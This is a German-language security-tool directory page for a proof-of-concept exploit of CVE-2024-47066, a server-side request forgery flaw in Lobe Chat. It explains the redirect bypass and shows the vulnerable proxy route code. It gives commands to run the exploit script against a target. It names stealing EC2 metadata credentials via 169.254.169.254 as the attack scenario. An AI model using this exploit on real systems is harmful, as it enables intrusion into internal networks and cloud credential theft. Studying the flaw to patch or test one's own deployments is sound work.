Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-47066 — Lobe Chat Server-Side Request Forgery Exploit | Kitploit
Tools/GitHubGitHub/eqstlab/cve-2024-47066
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitLernen & Bildung
GitHubeqstlab/cve-2024-47066

CVE-2024-47066

Lobe Chat Server-Side Request Forgery Exploit

Repository anzeigen
1vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-47066

★ CVE-2024-47066 LobeChat SSRF PoC ★

Beschreibung

CVE-2024-47066 : Lobe Chat ist ein Open-Source-Framework für Künstliche-Intelligenz-Chats. Vor Version 1.19.13 berücksichtigt der in src/app/api/proxy/route.ts implementierte Schutz vor serverseitiger Anfragefälschung (Server-Side Request Forgery) keine Weiterleitungen und kann umgangen werden, wenn ein Angreifer eine externe bösartige URL bereitstellt, die auf interne Ressourcen wie ein privates Netzwerk oder eine Loopback-Adresse weiterleitet. Version 1.19.13 enthält eine verbesserte Behebung des Problems.

Melder: a1loy

https://github.com/user-attachments/assets/2c4a3be0-5732-48f5-a96c-d361fd914fec

Verwendung

Git clone

git clone https://github.com/l8BL/CVE-2024-47066.git
cd CVE-2024-47066

Einrichtung der verwundbaren Umgebung

cd docker
docker-compose up -d

(Extern) LodeChat --> SSRF-ANGRIFF --> (Intern) http://www.internal-service:4000

Pakete installieren

pip install -r requirements.txt

Befehl

python3 CVE-2024-47066.py -v <URL_TO_EXPLOIT> -i <URL_TO_REQUEST>

Beispiel

python3 CVE-2024-47066.py -v http://localhost:3210 -i http://www.internal-service:4000

Ausgabe

CVE-2024-47066 alt text

Ergebnis

alt text

Analyse

Anfällige Stelle (/app/api/proxy/route.ts)

import { isPrivate } from 'ip';
import { NextResponse } from 'next/server';
import dns from 'node:dns';
import { promisify } from 'node:util';

const lookupAsync = promisify(dns.lookup);

export const runtime = 'nodejs';

/**
 * nur für einen Proxy
 */
export const POST = async (req: Request) => {
  const url = new URL(await req.text());
  let address;

  try {
    const lookupResult = await lookupAsync(url.hostname);
    address = lookupResult.address;
  } catch (err) {
    console.error(`${url.hostname} DNS parser error:`, err);

    return NextResponse.json({ error: 'DNS parser error' }, { status: 504 });
  }

  const isInternalHost = isPrivate(address);

  if (isInternalHost)
    return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });

  const res = await fetch(url.toString());

  return new Response(res.body, { headers: res.headers });
};

Unterhalb von Zeile 26 gibt es keine Stelle, an der die Weiterleitungsantwort bestimmt wird. Wenn man also einen URL-Shortener verwendet, kann man die Funktion „isPrivate()“ leicht umgehen.

Angriffsszenario

EC2-Metadaten-Anmeldeinformationen stehlen

Anfrage an http://169.254.169.254 senden

Haftungsausschluss

Dieses Repository ist nicht als SSRF-Exploit für CVE-2024-47066 gedacht. Der Zweck dieses Projekts ist es, Menschen dabei zu helfen, diese Schwachstelle kennenzulernen und möglicherweise ihre eigenen Anwendungen zu testen.

Referenz

https://github.com/advisories/GHSA-3fc8-2r3f-8wrg

Tool herunterladen